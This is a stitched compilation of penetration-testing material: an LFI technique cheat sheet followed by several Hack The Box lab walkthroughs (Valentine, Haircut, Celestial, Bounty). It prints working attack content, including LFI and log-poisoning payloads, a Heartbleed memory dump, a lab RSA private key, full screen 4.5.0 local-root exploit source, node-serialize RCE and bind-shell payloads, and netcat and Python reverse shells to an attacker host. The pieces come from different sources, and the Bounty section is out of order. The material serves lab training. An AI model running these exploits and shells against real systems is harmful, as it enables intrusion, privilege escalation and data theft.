LFI Burp Request

Image description: POST request using php://input

Web Application Response:

DVWA LFI Example

Image description: The output from the command “ls” is rendered above the DVWA banner.

PHP php://filter

php://filter allows a pen tester to include local files and base64 encodes the output. Therefore, any base64 output will need to be decoded to reveal the contents.

An example using DVWA:

vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd  
DVWA Example Outpute

Image description: Image showing the base64 encoded text at the top of the rendered page

Base64 decoding the string provides the /etc/passwd file:

Base64 LFI Decoded String

Image description: An image showing the base64 decoded output from /etc/passwd on a UNIX / Linux system

php://filter can also be used without base64 encoding the output using:

?page=php://filter/resource=/etc/passwd
LFI PHP Filter Wrapper Output

Image description: An image showing the output from /etc/passwd on a UNIX / Linux system using php://filter

PHP ZIP Wrapper LFI

The zip wrapper processes uploaded .zip files server side allowing a penetration tester to upload a zip file using a vulnerable file upload function and leverage he zip filter via an LFI to execute. A typical attack example would look like:

  1. Create a PHP reverse shell
  2. Compress to a .zip file
  3. Upload the compressed shell payload to the server
  4. Use the zip wrapper to extract the payload using: php?page=zip://path/to/file.zip%23shell
  5. The above will extract the zip file to shell, if the server does not append .php rename it to shell.php instead

If the file upload function does not allow zip files to be uploaded, attempts can be made to bypass the file upload function (see: OWASP file upload testing document).

LFI via /proc/self/environ

If it’s possible to include /proc/self/environ via a local file inclusion vulnerability, then introducing source code via the User Agent header is a possible vector. Once code has been injected into the User Agent header a local file inclusion vulnerability can be leveraged to execute /proc/self/environ and reload the environment variables, executing your reverse shell.

Useful Shells

Useful tiny PHP back doors for the above techniques:

<? system('uname -a');?>

Null Byte Technique

Null byte injection bypasses application filtering within web applications by adding URL encoded “Null bytes” such as %00. Typically, this bypasses basic web application blacklist filters by adding additional null characters that are then allowed or not processed by the backend web application.

Some practical examples of null byte injection for LFI:

vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500

Truncation LFI Bypass

Truncation is another blacklist bypass technique. By injecting long parameter into the vulnerable file inclusion mechanism, the web application may “cut it off” (truncate) the input parameter, which may bypass the input filter.

Log File Contamination

Log file contamination is the process of injecting source code into log files on the target system. This is achieved by introducing source code via other exposed services on the target system which the target operating system / service will store in log files. For example, injecting PHP reverse shell code into a URL, causing syslog to create an entry in the apache access log for a 404 page not found entry. The apache log file would then be parsed using a previously discovered file inclusion vulnerability, executing the injected PHP reverse shell.

After introducing source code to the target systems log file(s) the next step is identifying the location of the log file. During the recon and discovery stage of penetration testing the web server and likely the target operating system would have been identified, a good starting point would be looking up the default log paths for the identified operating system and web server (if they are not already known by the consultant). FuzzDB’s Burp LFI payload lists can be used in conjunction with Burp intruder to quickly identify valid log file locations on the target system.

Some commonly exposed services on a Linux / UNIX systems are listed below:

Apache / Nginx

Inject code into the web server access or error logs using netcat, after successful injection parse the server log file location by exploiting the previously discovered LFI vulnerability. If the web server access / error logs are long, it may take some time execute your injected code.

Email a Reverse Shell

If the target machine relays mail either directly or via another machine on the network and stores mail for the user www-data (or the apache user) on the system then it’s possible to email a reverse shell to the target. If no MX records exist for the domain but SMTP is exposed it’s possible to connect to the target mail server and send mail to the www-data / apache user. Mail is sent to the user running apache such as www-data to ensure file system permissions will allow read access the file /var/spool/mail/www-data containing the injected PHP reverse shell code.

First enumerate the target system using a list of known UNIX / Linux account names:

SMTP Enumerate Mail users

Image description: The above image uses the smtp-user-enum script confirming the www-data user exists on the system

The following screenshot shows the process of sending email via telnet to the www-data user:

Sending email to the www-data apache user via telnet

Image description: The above image shows the process of sending a reverse PHP shell via SMTP using telnet

Parse Log file LFI

Image description: The above image shows the inclusion of www-data mail spool file containing the emailed PHP reverse shell code

LFI Netcat Reverse Shell

Image description: The above image shows the emailed PHP reverse shell connecting to a netcat listener

References

Information sources used within this document:

HTB – Valentine

HackTheBox – Valentine Writeup

I thought this was a fun quick box.  The box maker did a good job setting up extracting sensitive information out out memory via the vulnerability and giving us a nice simulation of how damaging the exploit could be.
Heartbeat bug explained  here 

Enumeration

root@kali:~/htb/valentine# nmap -sV 10.10.10.79

Starting Nmap 7.50 ( https://nmap.org ) at 2018-02-23 15:03 EST
Nmap scan report for 10.10.10.79
Host is up (0.072s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds

Since HTTPS is open let’s run sslscan

root@kali:~/htb/valentine# sslscan 10.10.10.79
Version: 1.11.11-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Connected to 10.10.10.79

Testing SSL server 10.10.10.79 on port 443 using SNI name 10.10.10.79

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 vulnerable to heartbleed
TLS 1.1 vulnerable to heartbleed
TLS 1.0 vulnerable to heartbleed
~~~
~~~
nmapp 443 --script ssl-heartbleed 10.10.10.79

While that was running gobuster was also running.

root@kali:~/htb/valentine# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.10.79/ -t 20

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.79/
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/index (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/decode (Status: 200)
/omg (Status: 200)

We see we have a few hits. Let’s check out /dev.

dev

notes

key

The key here is in hexadecimal, so let’s try to decode it.

root@kali:~/htb/valentine# cat hype_key | xxd -r -p
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

We see we have a private key, however we can see at the top of the key we have two headers: Proc-Type and DEK-Info which means we’re going to need a passphrase for this key.

Exploitation

Since we know the site is vulnerable to HeartBleed. Let’s see what information we can grab from the server’s memory. We can do this via a python script from here

root@kali:~# searchsploit heartbleed
-----------------------------------------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-----------------------------------------------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Versions) | exploits/multiple/remote/32764.py

The python script allows us to connect multiple times with the -n option and dump the contents of memory over and over so we have a better chance of catching something.

root@kali:~/htb/valentine# python heartbleed.py 10.10.10.79 -n 20

defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

##################################################################
Connecting to: 10.10.10.79:443, 20 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 20 of 20
##################################################################

.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#q.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==9.Z..Jo......)...G.Bq.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............

We see something hitting decode.php, which looks like base64. You can decode either via the decode.php page or just with the base64 -d command.

decode

heartbleedbelievethehype is most likely the passphrase on our sshkey. Since the key is named hype_key we can also assume that our username is hype.

root@kali:~/htb/valentine# chmod 400 key
root@kali:~/htb/valentine# ssh -i key hype@10.10.10.79
Enter passphrase for key 'key': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 23 12:04:56 2018 from 10.10.14.5
hype@Valentine:~$

Privilege Escalation

If we check out the bash history for hype we see something interesting.

hype@Valentine:~$ cat .bash_history 

exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 
exit

We can see hype was attaching to a tmux socket.

hype@Valentine:/.devs$ ls -al
total 8
drwxr-xr-x  2 root hype 4096 Feb 23 13:19 .
drwxr-xr-x 26 root root 4096 Feb  6 11:56 ..
srw-rw----  1 root hype    0 Feb 23 13:19 dev_sess

We can see that the setuid bit is set on dev_sess and is owned by root.

Let’s attach to the socket.

hype@Valentine:/.devs$ tmux -S dev_sess 

root@Valentine:/.devs# 

And done!

Author : Absolomb

HTB – Haircut

Hello friends!! Today we are going to solve another CTF challenge “Haircut” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of WAPT. Let start and learn how to analyse any vulnerability in a network then exploit it for retrieving desired information.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Haircut is 10.10.10.24 so let’s initiate with nmap port enumeration.

From given below image, you can observe we found port 22 and 80 are open in victim’s network.

Knowing port 80 is open to victim’s network we preferred to explore his IP in a browser and the following image as shown below.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on http://10.10.10.24 for PHP file extension.

As a result, it found uploads directory with 403 response and an exposed.php file with 200 ok response.

When we explored http://10.10.10.24/exposed.php we found a search page for finding the location of any hairdresser’s.

  • Visit http://10.10.10.24/exposed.php
  • You will find it executes a curl script behind.
  • There’s folder called /uploads available. Let’s upload our paylaod here.
  • Without wasting time I used my PHP backdoor puck.php
http://10.10.14.28/puck.php -o uploads/puck.php
  • Execute the payload by visiting http://10.10.15.16/uploads/payload.php

Now we need to transfer our backdoor file to target system therefore first we need to run python server on port 80 using the following command.

python -m SimpleHTTPServer 80

 

 

As puck.php file is successfully transferred into target’s system but we need to execute that file for getting reverse connection, therefore, I simply run following the path in a web browser.

http://10.10.10.24/uploads/puck.php?puck=nc -e /bin/sh 10.10.14.28 9876

After executing uploaded backdoor file come back to the netcat listener

D:\>nc -lvp 9876
listening on [any] 9876 ...
10.10.10.24: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.24] 46564: NO_DATA
ls
bounce.jpg
puck.php
python3 -c 'import pty;pty.spawn("/bin/bash")'

 

Now let’s finished the task by grabbing user.txt and root.txt file. First I move into home directory and check available files and directories inside it.

here I got a directory maria and after exploring it we found so many files and directory, at last I fetch user.txt file from inside /maria/Desktop/ and use cat command for reading.

our 1st challenges finished successfully now move for 2ndchallenge.

Then using the following command we got all files and directories having root permission.

Here I notice /usr/bin/screen-4.5.0 now let’s check its exploit if available.

In a new terminal, we look for any exploit present in exploitdb for screen 4.5.0 with help of searchsploit.

From given below image you can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.

When I didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.

If you will notice following code then you will observe this script is written in C language and we have divided it into three part for manual compilation.

  • Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
  • Copy Orange highlighted the code and past it in a text document and save it as rootshell.c

At last copy remaining code and past it in a text document and save it as 41154.sh

From given below image you can see I have pasted above copied inside rootshell.c

#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

From given below image you can see I have pasted above copied inside libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

From given below image you can see I have paste above remaining copied inside 41154.sh and save all three text document on the desktop in a new folder shell.

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

Let’s compile our C program file manually in our local system using gcc as given below.

Similarly compile rootshell.c file through the following command.

From given below image you can see all files we have stored in our folder shell, now let’s upload them into target’s system through our previous meterpreter session.

Since we /tmp has read and write permission, therefore, we are uploading all files in /tmp directory by executing following command.

Again for spawning proper tty shell of target’s system, we need to import python file, therefore, I run following command inside meterpreter shell

Open 41154.sh file as it contains a command for getting root privilege as shown below.

Execute following command and get the root.

Here I got root.txt file now using cat command let open this file and finished our 2nd challenge.

$ /tmp/rootshell
/tmp/rootshell
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
4c---------51
#

Wonderful!! We had completed the task and hacked this box.

Author: AArti Singh

HTB – Celestial

Exploiting Node.js Deserialization bug for Remote Code Execution (CVE-2017-5941)

The eval() function is a common function of nodejs that is easy to exploit if data passed to it not filtered correctly. On review source code of some projects in nodejs and researching nodejs application security. I found this function used on some project that it is vulnerable to exploit.

For source code for this tutorial please get from link. You need to install Nodejs and Express first.

To start code run: node index.js

This first part is untilize feature unserialize of a nodejs module. The exploit method happened with PHP, Java… as well. I will show the exploit on next tutorials for some of these languages.

We will use a nodejs module is node-serialize on this example. Ok Let’s make an analysis in depth on it. This module contains an eval() function that may be exploited if we do not check data passed to it correctly.

The functioneval() evaluates JavaScript code represented as a string as documented.

Look at line 74 of module source code we have.

if(obj[key].indexOf(FUNCFLAG) ===0) {
     obj[key] =eval(‘(‘+obj[key].substring(FUNCFLAG.length) +’)’);
}
The code contain this line loop through object’s properties, if it is a function then eval is called. So let’s  try to inject some javascript code on it.
1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
name:'hd7exploit',
say:function() {
return'Hi '+this.name
}
};
var objS = serialize.serialize(obj)
console.log(objS);
typeof objS==='string'
var unserialize_obj=serialize.unserialize(objS)
console.log(unserialize_obj)
console.log(unserialize_obj.say())
 We have a string like this after serialize:
{“name”:”hd7exploit”,”say”:”_$$ND_FUNC$$_function () {\n      return ‘Hi ‘ + this.name\n   }”} 

On unserialize, it loop through properties of this object created from this string. Because say is a function so we have : (function () {return ‘Hi ‘ + this.name})  passed to eval -> eval( (function () {return ‘Hi ‘ + this.name})) 

Let try this code with eval((function () { console.log (‘Hi )}) on a web browser.

“Hi” is not shown on console log of course. Because the function is not called anywhere.

We need to execute code when the object is processed by function unserialize. Because we did know how the object of the application is and how it processed later. So we need to pass code to eval and it must be executed immediately to show Hi.

And Immediately-Invoked Function Expression (IIFE) come to resolve this.

An IIFE is an anonymous function that is created and then immediately invoked. It’s not called from anywhere else (hence why it’s anonymous), but runs just after being created.

Let try with this method  eval((function () {console.log (‘Hi )})()).
Run again and “Hi” is shown.

We want to get a shell so let’s try to call exec to run some commands on a target system.

1
2
3
4
5
6
7
var obj = {
run :function(){
require('child_process').exec('ls -la', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var objS=serialize.serialize(obj)
var unserialize_obj=serialize.unserialize(objS)

Now we have a string

{“run”:”_$$ND_FUNC$$_function (){\n      require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });\n    }”}

And (function (){require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });}) passed to eval()

Then let’s try with () on the end.

{“run”:”_$$ND_FUNC$$_function (){require(\’child_process\’).exec(\’ls -la\’, function(error, stdout, stderr) { console.log(stdout) });}()“}

Great, It worked, We can inject code with our controlled payload.

Next to encode this payload. For easy and quick to create payload. I created a small script to generate node shell and some commands to test. get the source code at node_shell.py.

Look at some options the script provided:

  1. Let create a command “ls -la”

Then pass this data with request
1
http://localhost:3000/exploit/unserialize/{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,108,115,32,45,108,97,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

Check it.

Oh, It worked.

2. Let’s try with reverse shell payload

Run Netcat listen on port 4444 on our machine, then send a crafted request to vuln server.

Check netcat console. I worked as well.

3. Let’s try with bind_shell payload

Then pass it with request

1
http://localhost:3000/exploit/serialize/%7B%22run%22:%20%22_$$ND_FUNC$$_function%20()%7Beval(String.fromCharCode(10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,32,32,32,32,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,32,32,32,32,80,79,82,84,61,34,52,52,52,52,34,59,10,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,32,32,32,32,118,97,114,32,115,101,114,118,101,114,32,61,32,110,101,116,46,99,114,101,97,116,101,83,101,114,118,101,114,40,102,117,110,99,116,105,111,110,32,40,99,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,32,91,39,45,105,39,93,41,59,10,32,32,32,32,32,32,32,32,99,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,115,101,114,118,101,114,46,108,105,115,116,101,110,40,80,79,82,84,41,59,10,32,32,32,32))%7D()%22%7D

Check listen ports on the vuls server. shell bind port 4444.

Let’s connect to it. It worked as well.

Note : Before forwarding the modified content in Burpsuite , we should setup the netcat listener in Kali machine and keep it ready .

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray !! We got into the reverse shell of the target machine

Lets have a quick look at the contents

ls

We navigated to many folders , however found interesting stuff in the Documents folder

Here we can see that there is a user.txt file , lets read it contents

Finally , we got our first flag i.e  output of user.txt file

Now upon further navigation , we also opened the script.py file because of our curiosity to examine the contents of the same . If we do cat script.py , the output displays as print “Script is running”

print “Script is running..”

Note : This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis

The best step to move forward is to examine the contents of the log directory in var

Let’s see the files listed over here

As we can see that there are multiple syslog files being generated in this folder . The old logs are being zipped and numbered accordingly .The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.

We will notice that there is a cronjob running every 5 minutes , which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file

Now we can try to put our own content in the script.py file . For this let’s generate a Reverse shell with the following command

Copy the contents of msfvenom output and save it on Kali Desktop named as script.py ,which will be further used in the subsequent steps

Now run the web server on the Kali machine

 

Lets read the contents of the script.py .The output displays as print “Script is running..”

Lets move this original python script (script.py) by renaming it to script.py.originalas shown below

Download our newly created script.py from the Kali machine Desktop

 

Open a netcat reverse shell

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray!! We got into the root

or we can simply echo a python reverse shell on script.py, setup another netcat listener, and wait for the cron job to trigger.

root@kali:~/Desktop# nc -nlvp 1234
listening on [any] 1234 ...
sun@sun:~/Documents$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.28\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > script.py

After a few minutes of waiting, our netcat listener should receive a reverse shell connection. .

root@kali:~/Desktop# nc -nlvp 31337
listening on [any] 31337 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.85] 49392
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
root.txt
script.py
# cat root.txt
{FLAG_NOT_SHOWED}
root@sun:~# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# --snip--
# 
# m h dom mon dow command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
root@sun:~#

Reference

1. https://github.com/luin/serialize

2. https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

3. http://benalman.com/news/2010/11/immediately-invoked-function-expression/

4. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

HTB – Bounty

Today we are going to solve another CTF challenge “Bounty”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Let’s start off with our basic nmap command to find out the open ports and services.

C:\Users\jacco>nmap -sC -sV 10.10.10.93
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-15 14:32 W. Europe Standard Time
Nmap scan report for 10.10.10.93
Host is up (0.026s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds

When visiting the site, we see nothing but an image of a wizard:

I checked the source code of the page, but unfortunately there wasn’t anything interesting there. Since we have nothing else to go on, I started some dirb scans.

We already know that the server is running Microsoft IIS, so I decided to try an IIS-specific wordlist on the page (the following dirb scans have been condensed for clarity):

I then tried to access these two directories, but was given 403 errors both times.

After doing a bit more research on the aspnet_client folder structure, I discovered that we could work out the system version by fuzzing various system_web directories. As such, I saved the list found here, and used dirb to try them all:

---- Scanning URL: http://10.10.10.93/aspnet_client/system_web/ ----
==> DIRECTORY: http://10.10.10.93/aspnet_client/system_web/2_0_50727/
Thanks to this, we know for sure that the server is running Microsoft IIS 2.0.50727. Whilst this might not be useful, it’s always good to enumerate where we can.

That being said, we still get a 403 when trying to access this new-found directory, and so I swapped over to a bigger wordlist:

george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r
PS C:\inetpub\wwwroot> type CS.aspx.cs
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

public partial class _Default : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {

    }
    protected void btnUpload_Click(object sender, EventArgs e)
    {
        String path = Server.MapPath("~/UploadedFiles/");
        string[] validFileTypes={"config","gif","png","jpg","jpeg","doc","docx","xls","xlsx"};
        string ext = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);
        bool isValidFile = false;
        for (int i = 0; i < validFileTypes.Length; i++)
        {
            if (ext == "." + validFileTypes[i] )
            {
                isValidFile = true;
                break;
            }
        }
        if (!isValidFile)
        {
            Label1.ForeColor = System.Drawing.Color.Red;
            Label1.Text = "Invalid File. Please try again";
        }
        else
        {
            try
            {
                FileUpload1.PostedFile.SaveAs(path
                    + FileUpload1.FileName);
                    Label1.ForeColor = System.Drawing.Color.Green;
                    Label1.Text = "File uploaded successfully.";
            }
            catch (Exception ex)
            {
                Label1.Text = "File could not be uploaded.";
            }

        }
    }
}
PS C:\inetpub\wwwroot> dir


    Directory: C:\inetpub\wwwroot


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         5/30/2018   4:44 AM            aspnet_client
d-r--         3/15/2019   3:51 PM            UploadedFiles
-a---         5/30/2018  11:58 PM       1582 CS.aspx.cs
-a---         5/31/2018   6:46 AM        630 iisstart.htm
-a---         5/30/2018  11:35 PM     780732 merlin.jpg
-a---         5/31/2018  12:12 AM        735 transfer.aspx
-a---         5/30/2018   4:14 AM     184946 welcome.png


PS C:\inetpub\wwwroot> type transfer.aspx
<%@ Page Language="C#" AutoEventWireup="true"  CodeFile="CS.aspx.cs" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
    <title>Secure File Transfer</title>

</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:FileUpload ID="FileUpload1" runat="server" />
        <asp:Button ID="btnUpload" runat="server" Text="Upload"
           OnClientClick = "return ValidateFile()"  OnClick="btnUpload_Click"  />
        <br />
        <asp:Label ID="Label1" runat="server" Text="" />
    </div>
    </form>
</body>
</html>
PS C:\inetpub\wwwroot>

It looks like we’ve finally found something interesting!

I took a look inside of the uploadedfiles directory, but received another 403 error. However, since this directory exists, we can assume that there is a webpage somewhere where we can upload files.

I then started my final dirb scan on the website in an attempt to find this upload page. Seeing as we know that the server is running Microsoft IIS, I decided to scan for only .aspx files, because they’re very common in systems like this.

